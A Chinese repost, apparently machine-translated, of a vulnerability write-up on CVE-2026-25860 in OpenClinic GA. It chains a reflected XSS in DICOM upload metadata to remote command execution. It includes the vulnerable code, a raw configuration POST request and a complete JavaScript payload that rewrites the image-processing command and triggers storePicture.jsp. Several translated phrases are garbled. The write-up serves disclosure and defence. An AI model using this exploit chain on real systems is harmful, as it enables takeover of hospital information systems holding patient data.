CVE-2026-25860 - OpenClinic GA 反射型 XSS 漏洞导致远程代码执行
Ots安全
2026年6月26日 19:29
广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
执行摘要
CVE-2026-25860 是 OpenClinic GA DICOM 上传工作流程中的一个反射型 XSS 漏洞。精心构造的 DICOM 文件可以通过诸如 StudyDescription 之类的元数据字段注入 JavaScript 代码,这些字段在渲染时未进行输出编码。当已认证用户的浏览器触发此漏洞时,该 XSS 代码可以与 OpenClinic GA 的配置功能结合使用,从而修改图像处理命令设置,并通过 storePicture.jsp 触发命令执行。
安装、概述及重现步骤
请问这个产品是什么?openclini ga是什么?
OpenClinic GA 是一款开源的集成医院信息管理系统,涵盖行政、财务、临床、实验室、X光、药房、膳食配送等数据的管理。它具备强大的统计和报告功能。OpenClinic GA 和 OpenClinic GMAO 的所有者是 Post-Factum BV 公司的 Frank Verbeke 医学博士。
最新可用的即装即用的版本是 5.247.01,但截至撰写本文时,可用代码最高为 v5.351.19(2026 年 12 月 5 日)。
语言和技术栈:
-
语言:Java
-
数据库:MySQL
-
Tomcat(JSP)
-
测试平台:Windows 和 Linux
作者:partywave
- 合作方:RaptX 团队
必备条件:
-
受害者身份必须经过身份验证。
-
受害者必须能够访问 DICOM 上传功能并执行该操作。
该软件可在以下网址获取:
- https://sourceforge.net/projects/open-clinic/
如果您想快速获得使用 Docker 从源代码安装和设置整个系统的帮助,可以参考以下提示:
# NOT PRODUCTION READY # create docker dbdocker network create openclinic-net 2>/dev/null || true docker run -d \\ --name openclinic-db \\ --network openclinic-net \\ -e MARIADB_ROOT_PASSWORD=rootpass \\ -p 3306:3306 \\ mariadb:10.6 \\ --lower-case-table-names=1 \\ --character-set-server=utf8 \\ --collation-server=utf8_general_ci # init the database using the DEMO dbzcat openclinic-demo-db.sql.gz | docker exec -i openclinic-db mysql -u root -prootpass --force # setup docker db user and permissiondocker exec -it openclinic-db mysql -u root -prootpass -e \"DROP USER IF EXISTS 'openclinic'@'localhost';DROP USER IF EXISTS 'openclinic'@'127.0.0.1';DROP USER IF EXISTS 'openclinic'@'%'; CREATE USER 'openclinic'@'localhost' IDENTIFIED BY '0pen';CREATE USER 'openclinic'@'127.0.0.1' IDENTIFIED BY '0pen';CREATE USER 'openclinic'@'%' IDENTIFIED BY '0pen'; GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'localhost';GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'localhost';GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'localhost';GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'localhost'; GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'127.0.0.1';GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'127.0.0.1';GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'127.0.0.1';GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'127.0.0.1'; GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'%';GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'%';GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'%';GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'%'; FLUSH PRIVILEGES;\" # start docker appdocker run -d \\ --name openclinic-web \\ --network openclinic-net \\ -p 8080:8080 \\ -v \"$PWD/web:/usr/local/tomcat/webapps/openclinic\" \\ -v \"$PWD/web/WEB-INF/lib/mysql-connector-java-5.1.10-bin.jar:/usr/local/tomcat/lib/mysql-connector-java-5.1.10-bin.jar:ro\" \\ tomcat:9.0-jdk8 # visit the app and login using openclinic:opencliniccurl -v --max-time 30 http://127.0.0.1:8080/openclinic/index.jsp
如果您不想执行所有这些步骤,可以使用现成的安装包在本地安装。即使它不是最新版本也可以。
漏洞
OpenClinic GA <= v5.351.19 (2026年12月5日)DICOM 图像上传处理程序中存在反射型跨站脚本漏洞,攻击者可以通过在 DICOM 文件元数据字段中嵌入恶意有效载荷,在受害者的浏览器中执行任意 JavaScript。
攻击者可以构造一个包含 JavaScript 有效载荷的 DICOM 文件,这些有效载荷会嵌入到诸如“研究描述”之类的元数据字段中,而这些字段未经清理就会被直接反映出来。弹出窗口.jsp和归档/上传文件.java通过上传 DICOM 图像功能进行处理。
在旧版本中,文件名是uploadfiles\_jsp.java。
原因在于如何 web/archiving/uploadfiles.jsp文件处理.DICOM上传结果。具体来说,它会渲染并显示一些DICOM字段。
它们未经进一步计算和清理就被反射,从而导致反射型 XSS。
存在漏洞的代码(简述)位于 DICOM 部分。标签已处理。特别是研究描述这是我们的概念验证领域:
while (itr.hasNext()) { i++; FileItem item = (FileItem) itr.next(); if (item.isFormField()) { } else { try { String fn = SCANDIR_BASE + \"/from/\" + filename + \"_\" + i; File savedFile = new File(fn); InputStream is = item.getInputStream(); FileUtils.copyInputStreamToFile(is, savedFile); is.close(); DicomObject obj = Dicom.getDicomObject(savedFile); if (obj == null) { errors.add(item.getName()); } else { patients.add(obj.getString(Tag.PatientID)); studies.add(obj.getString(Tag.StudyID) + \"</td><td>\" + obj.getString(Tag.StudyDescription).replaceAll(\"\\\\^\", \" \")); } } catch (Exception e) { e.printStackTrace(); } }}
正如你所看到的,这片田地标签.研究描述这种行为会反映在未经清理的表格中。这种行为会导致反射型跨站脚本攻击 (XSS)。
您可以在下方看到概念验证图。
如需进一步了解如何修改/创建 DICOM 文件以及理解其标准,请参阅以下内容:
- https://github.com/partywavesec/CVE-2026-25860 - https://www.partywave.site/show/research/tic-tac-beware-of-your-scan
更深入的探讨
回顾一下应用程序中各个端点的工作原理:
# login endpointhttp://localhost:8080/openclinic/login.jsp?Title=OpenClinic&Dir= # homepage endpointhttp://localhost:8080/openclinic/main.do # current profile endpointhttp://localhost:8080/openclinic/main.do?Page=userprofile/index.jsp # new patient endpointhttp://localhost:8080/openclinic/patientnew.do?PatientNew=true
该应用程序使用 Struts 框架,main.do页面只是指向真正的jsp文件和正确视图的指针。
换句话说,应用程序通过路由许多请求。main.do它会根据 Page 参数将数据分发到内部 JSP 视图。
这里我就不再赘述 XML 配置文件的工作原理以及 Java Web 应用程序的构建方式了,只提供一张图片作为示例。
因为请求是通过路由的main.do并非总是可以像直接请求 JSP 那样传递用于底层 JSP 的参数。Page 参数控制加载哪个内部页面,因此需要谨慎处理嵌套查询字符串。
考虑这样一个示例:我们想要向某个对象传递一个 GET 参数。local.jsp我们不能按常规方式行事。
查询字符串将决定其有效性或无效性。main.do。
http://target.com/main.do?Page=folder/local.jsp?paramforlocal=example <-- pseudo URL example
至此,XSS 攻击原语已确认。下一步是确定应用程序是否公开了任何可被滥用以执行操作系统命令的已认证功能。
我将跳过探索部分,直接切入正题。
OpenClinic GA 提供了一个配置页面,其中读取图片应用程序和读取图片目录参数可以影响图像处理工作流程执行的命令。
然而,此页面应该使用特权访问进行保护,但实际上并没有正确做到这一点。
因此,我们需要利用 XSS 攻击一个已认证的帐户,并通过 POST 请求设置我们自己的值。
这个值稍后会在另一个 jsp 文件中使用,该文件必须作为最后一步调用,因为它将执行我们的命令执行。
这次处决的最终执行对象是web/util/storePicture.jsp:
<%@ page import=\"be.mxs.common.util.system.Miscelaneous,be.mxs.common.util.db.MedwanQuery\" %><% Miscelaneous.startApplication(MedwanQuery.getInstance().getConfigString(\"readPictureApplication\",\"cmd /c d:/projects/openclinic/web/util/storePicture.bat\")+\" \"+request.getParameter(\"personid\"), MedwanQuery.getInstance().getConfigString(\"readPictureDirectory\",\"d:/projects/openclinic/web/util\"));%>
结合src/be/mxs/common/util/system/Miscelaneous.java这将导致死刑执行。
29 public static void startApplication(String app,String dir){30 try {31 Runtime.getRuntime().exec(app,null,new File(dir));32 }33 catch (IOException e) {34 e.printStackTrace();35 }36 }
有效载荷首先发送一个 POST 请求来更新相关的配置值,然后通过紧随 POST 请求之后的后续步骤来继续执行。得到到/openclinic/main.do?Page=util/storePicture.jsp
链式步骤
由于 JavaScript 是在受害者的已认证 OpenClinic 会话中执行的,因此它可以使用受害者的 cookie 向应用程序端点发出同源请求。
除此之外,我们还需要知道如何在 HTTP 请求中设置配置值。
图形用户界面设置值可在此处找到:
但在请求中,它们的设置方式如下:
POST /openclinic/main.do?Page=util/configparameters.jsp HTTP/1.1Host: localhost:10088User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 266Origin: http://localhost:10088DNT: 1Connection: keep-aliveReferer: http://localhost:10088/openclinic/main.do?Page=util/configparameters.jspCookie: JSESSIONID=AE6D6A762B31E21A560100F5849C2B9CUpgrade-Insecure-Requests: 1Priority: u=0, i save=Save&par_readPictureApplication=[COMMAND]&par_readPictureDirectory=[FOLDER]
现在步骤很明确了:
-
1) 精心构造的 DICOM 文件通过未经清理的元数据注入 JavaScript。
-
2) JavaScript 在经过身份验证的 OpenClinic GA 用户的上下文中执行,并更新图像处理配置值。
-
3) 然后有效载荷触发图像处理端点,该端点会使用这些配置值,从而导致命令执行。
为了实现所有这些目标,我在 Windows 目标上的 XSS 最终有效载荷是:
fetch('http://[TARGET]:[PORT]/openclinic/main.do?Page=util/configparameters.jsp', { method: 'POST', mode: 'no-cors', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ save: \"Save\", par_readPictureDirectory: \"[FOLDER]\", par_readPictureApplication: \"[COMMAND]\" })}).then( response => { fetch('http://[TARGET]:[PORT]/openclinic/main.do?Page=util/storePicture.jsp', { method: 'GET', mode: 'no-cors', credentials: 'include' });});
这样一来,你就可以将 XSS 漏洞与其他功能滥用行为联系起来,从而实现 RCE(远程代码执行)。
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论